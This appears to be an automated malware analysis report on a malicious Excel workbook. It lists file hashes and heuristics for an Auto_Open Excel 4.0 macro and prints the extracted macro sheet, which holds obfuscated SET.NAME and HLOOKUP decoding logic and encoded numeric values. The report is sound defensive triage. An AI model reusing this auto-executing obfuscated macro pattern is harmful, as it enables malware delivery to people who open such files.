Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69a7874a88d8f04e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:22 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 60b1ea48a8470228fd95931c93b853a3 SHA-1: 6e2b3c0a71284b9d73f4cfbc830a101872c17740 SHA-256: 69a7874a88d8f04e078a8a7c59ff0280b05ae47357a5a203732d58df7f00009d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6859 bytes
SHA-256: 9f1be94880a63d65bd3d0421e04ecaa1f135512b71dc93e413c274cd28875d2f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SeduHalmPZ
' 0018     24 LABEL : Cell Value, String Constant - aeygaACNL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F163 
' 0018     23 LABEL : Cell Value, String Constant - cGFnkrrN len=0 
' 0018     25 LABEL : Cell Value, String Constant - GjoeuZlENV len=0 
' 0018     22 LABEL : Cell Value, String Constant - hvFHGUT len=0 
' 0018     24 LABEL : Cell Value, String Constant - jodjUAfOo len=0 
' 0018     24 LABEL : Cell Value, String Constant - JSdRVXABC len=0 
' 0018     27 LABEL : Cell Value, String Constant - lCLryGPfndVK len=0 
' 0018     26 LABEL : Cell Value, String Constant - lFMTBHxiLIL len=0 
' 0018     21 LABEL : Cell Value, String Constant - MEnkSr len=0 
' 0018     26 LABEL : Cell Value, String Constant - OMOunLYTUUs len=0 
' 0018     22 LABEL : Cell Value, String Constant - PaYzybq len=0 
' 0018     23 LABEL : Cell Value, String Constant - SeWDRERD len=0 
' 0018     25 LABEL : Cell Value, String Constant - SiFgklQSrP len=0 
' 0018     24 LABEL : Cell Value, String Constant - TYdIuIITM len=0 
' 0018     21 LABEL : Cell Value, String Constant - UxBcsJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vfBGjncN len=0 
' 0018     26 LABEL : Cell Value, String Constant - VYbVkqNSoVb len=0 
' 0018     23 LABEL : Cell Value, String Constant - wrguwyPh len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZbrTUxUWeK len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZnufovqjjtFw len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SeduHalmPZ,F66,"SET.NAME("lFMTBHxiLIL",0+VALUE("0"))",""
'  SeduHalmPZ,P66,"",268.00000000000000000000
'  SeduHalmPZ,P67,"",-834.00000000000000000000
'  SeduHalmPZ,P68,"",953.00000000000000000000
'  SeduHalmPZ,P69,"",-118.00000000000000000000
'  SeduHalmPZ,P70,"",858.00000000000000000000
'  SeduHalmPZ,F71,"SET.NAME("PaYzybq",lFMTBHxiLIL)",""
'  SeduHalmPZ,P71,"",608.00000000000000000000
'  SeduHalmPZ,F74,"SET.NAME("UxBcsJ",lFMTBHxiLIL)",""
'  SeduHalmPZ,F76,"SET.NAME("MEnkSr",COUNTA(GjoeuZlENV))",""
'  SeduHalmPZ,F81,"SET.NAME("JSdRVXABC",COUNTA(TYdIuIITM))",""
'  SeduHalmPZ,F84,[],""
'  SeduHalmPZ,F89,"SET.NAME("wrguwyPh","")",""
'  SeduHalmPZ,F93,"PaYzybq",""
'  SeduHalmPZ,F96,"SET.NAME("lCLryGPfndVK",HLOOKUP("*",GjoeuZlENV,PaYzybq,FALSE))",""
'  SeduHalmPZ,F100,"SiFgklQSrP",""
'  SeduHalmPZ,F103,"SET.NAME("aeygaACNL",lFMTBHxiLIL)",""
'  SeduHalmPZ,F108,[],""
'  SeduHalmPZ,F112,"aeygaACNL",""
'  SeduHalmPZ,F115,"VYbVkqNSoVb",""
'  SeduHalmPZ,F120,"OMOunLYTUUs",""
'  SeduHalmPZ,F123,"hvFHGUT",""
'  SeduHalmPZ,F126,"SET.NAME("vfBGjncN",VALUE(HLOOKUP("*",TYdIuIITM,hvFHGUT,FALSE)))",""
'  SeduHalmPZ,F128,"SeWDRERD",""
'  SeduHalmPZ,F133,"wrguwyPh",""
'  SeduHalmPZ,F138,"UxBcsJ",""
'  SeduHalmPZ,F143,NEXT(),""
'  SeduHalmPZ,F146,"jodjUAfOo",""
'  SeduHalmPZ,F151,[],""
'  SeduHalmPZ,F153,"cGFnkrrN",""
'  SeduHalmPZ,F157,NEXT(),""
'  SeduHalmPZ,F159,RETURN(),""
'  SeduHalmPZ,F184,"SET.NAME("ZnufovqjjtFw",F66)",""
'  SeduHalmPZ,F186,"GjoeuZlENV",""
'  SeduHalmPZ,F188,"SET.NAME("TYdIuIITM",R96C12)",""
'  SeduHalmPZ,F192,"SET.NAME("cGFnkrrN",198)",""
'  SeduHalmPZ,F195,"SET.NAME("ZbrTUxUWeK",6)",""
'  SeduHalmPZ,F197,ZnufovqjjtFw(),""
'  SeduHalmPZ,F198,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.